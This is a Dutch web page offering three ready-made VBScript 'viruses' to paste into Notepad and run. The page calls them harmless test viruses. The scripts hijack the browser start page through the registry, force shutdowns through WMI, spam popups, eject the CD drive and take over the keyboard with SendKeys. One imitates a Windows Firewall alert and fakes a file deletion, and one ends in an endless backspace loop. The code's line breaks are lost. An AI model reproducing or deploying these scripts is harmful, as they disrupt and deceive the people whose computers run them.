Kant en Klare .Vbs Virussen 

Plak de kant en klare texten in kladblok,

sla ze op als .vbs en je hebt een virus!

De onderstaande virussen zijn ongevaarlijk. Je kunt ze gebruiken als test virus.

Virus1 (Demonstratie):

X = msgbox ("Zo te zien werkt het virus bij jou!", 1024, "Virus Maker NL")if msgBox("Zal ik een demonstratie geven?", vbYesNo, "Virus Maker NL") = vbYes then X = msgbox ("Oke, let op", 1024, "Virus Maker NL")else X = msgbox ("Nee?!", 1024, "Virus Maker NL")X = msgbox ("Dat maak ik zelf wel uit!", 1024, "Virus Maker NL")end ifX = msgbox ("Ik kan piepen...", 1024, "Virus Maker NL")Set oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, TrueSet oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, TrueSet oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, TrueX = msgbox ("Ik kan je cd station openen...", 1024, "Virus Maker NL")Set oWMP = CreateObject("WMPlayer.OCX.7" )Set colCDROMs = oWMP.cdromCollectioncolCDROMs.Item(i).EjectX = msgbox ("Ik kan de startpagina van internet veranderen...", 1024, "Virus Maker NL")Dim WSHShell, n, MyBox, p, p1, cnSet WSHShell = WScript.CreateObject("WScript.Shell")p = "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"p1 = "HKLM\Software\Microsoft\Internet Explorer\Main\Start Page"cn="www.virusnl.tk"WSHShell.RegWrite p, cnX = msgbox ("Ik kan je computer overnemen...", 1024, "Virus Maker NL")Set WshShell = WScript.CreateObject ("WScript.Shell")WshShell.Run ("notepad.exe")WScript.Sleep 1000WshShell.SendKeys "O"WScript.Sleep 500WshShell.SendKeys "M"WScript.Sleep 500WshShell.SendKeys "G{enter}"WScript.Sleep 1000WshShell.SendKeys "The "WScript.Sleep 200WshShell.SendKeys "Vi"WScript.Sleep 150WshShell.SendKeys "rus "WScript.Sleep 300WshShell.SendKeys "Ma"WScript.Sleep 250WshShell.SendKeys "ker "WScript.Sleep 150WshShell.SendKeys "N"WScript.Sleep 150WshShell.SendKeys "L!"X = msgbox ("En nog veel meer!", 1024, "Virus Maker NL")X = msgbox ("Kijk voor meer informatie op", 1024, "Virus Maker NL")Set objShell = CreateObject("Wscript.Shell")For i = 10000 To 0 Step -1objShell.Popup "WWW.VIRUSNL.TK "& i, 1, "Virus Maker NL"NextSet objShell = Nothing




Virus 2 (Enquete):
X = msgbox ("Welkom bij de enquete!", 1024, "Virus Maker NL")if msgBox("Heeft u even tijd?", vbYesNo, "Virus Maker NL") = vbYes then X = msgbox ("Laten we beginnen!", 1024, "Virus Maker NL")else X = msgbox ("Dan maak je maar tijd!", 1024, "Virus Maker NL")end ifa=inputbox ("Hoe heet je eigenlijk?")X = msgbox ("Mm...", 1024, "Virus Maker NL")X = msgbox ("Als er een naam lelijk is dan is het wel "+a, 1024, "Virus Maker NL")a=inputbox ("En hoe oud ben je?")X = msgbox ("Ben je dan niet wat te jong?", 1024, "Virus Maker NL")X = msgbox ("De meeste hackers zijn ouder dan "+a, 1024, "Virus Maker NL")a=inputbox ("En wat is je telefoon nummer?")X = msgbox ("(Dan kan ik je stalken)", 1024, "Virus Maker NL")if msgBox("Denk je dat ik gevaarlijk ben?", vbYesNo, "Virus Maker NL") = vbYes then X = msgbox ("Klopt!", 1024, "Virus Maker NL")else X = msgbox ("Dan word ik nu gevaarlijk!", 1024, "Virus Maker NL")end ifif msgBox("Wil je de computer afsluiten?", vbYesNo, "Virus Maker NL") = vbYes then Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") for each OpSys in OpSysSet OpSys.ShutDown() next else X = msgbox ("Oke, doe ik dalijk wel!", 1024, "Virus Maker NL")end ifX = msgbox ("Hier komen een paar trucjes!", 1024, "Virus Maker NL")Set oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, TrueSet oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, TrueSet oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, TrueSet oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, TrueSet oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, TrueSet oWMP = CreateObject("WMPlayer.OCX.7" )Set colCDROMs = oWMP.cdromCollectioncolCDROMs.Item(i).Ejectif msgBox("Wil je nu wel de computer afsluiten?", vbYesNo, "Virus Maker NL") = vbYes then Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") for each OpSys in OpSysSet OpSys.ShutDown() next  else X = msgbox ("Ok", 1024, "Virus Maker NL")end ifif msgBox("En nu?", vbYesNo, "Virus Maker NL") = vbYes then Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") for each OpSys in OpSysSet OpSys.ShutDown() next else X = msgbox ("Dan niet!", 1024, "Virus Maker NL")end ifX = msgbox ("Ik ga er vandoor!", 1024, "Virus Maker NL")Set objShell = CreateObject("Wscript.Shell")For i = 1000000 To 0 Step -1objShell.Popup "WWW.VIRUSNL.TK "& i, 1, "Virus Maker NL"NextSet objShell = Nothing




Virus 3 (Nep Trojaans Paard):
X = msgbox ("Windows FireWall heeft een virus gedetecteerd en is niet in staat deze te verwijderen.", 48, "Windows FireWall")if msgBox("Wilt u het virus proberen te verwijderen door middel van een harde reboot?", 36, "Windows FireWall") = vbYes then Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") for each OpSys in OpSysSet OpSys.ShutDown() next else X = msgbox ("Het virus is niet verwijderd.", 48, "Windows FireWall")end ifSet oWMP = CreateObject("WMPlayer.OCX.7" )Set colCDROMs = oWMP.cdromCollectioncolCDROMs.Item(i).EjectSet oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, TrueSet oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, TrueSet oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, TrueSet oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, TrueSet oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, TrueSet oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, TrueSet oWMP = CreateObject("WMPlayer.OCX.7" )Set colCDROMs = oWMP.cdromCollectioncolCDROMs.Item(i).EjectSet objShell = CreateObject("Wscript.Shell")For i = 100 To 1 Step -1objShell.Popup "Files Deleting... "& i, 1, "Trojan Horse"NextSet objShell = NothingX = msgbox ("Your computer is infected!", 16, "Trojan Horse")Set oWMP = CreateObject("WMPlayer.OCX.7" )Set colCDROMs = oWMP.cdromCollectioncolCDROMs.Item(i).EjectSet oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, TrueSet oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, TrueSet oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, TrueSet wshShell =wscript.CreateObject("WScript.Shell")dowscript.sleep 100wshshell.sendkeys "{bs}"loop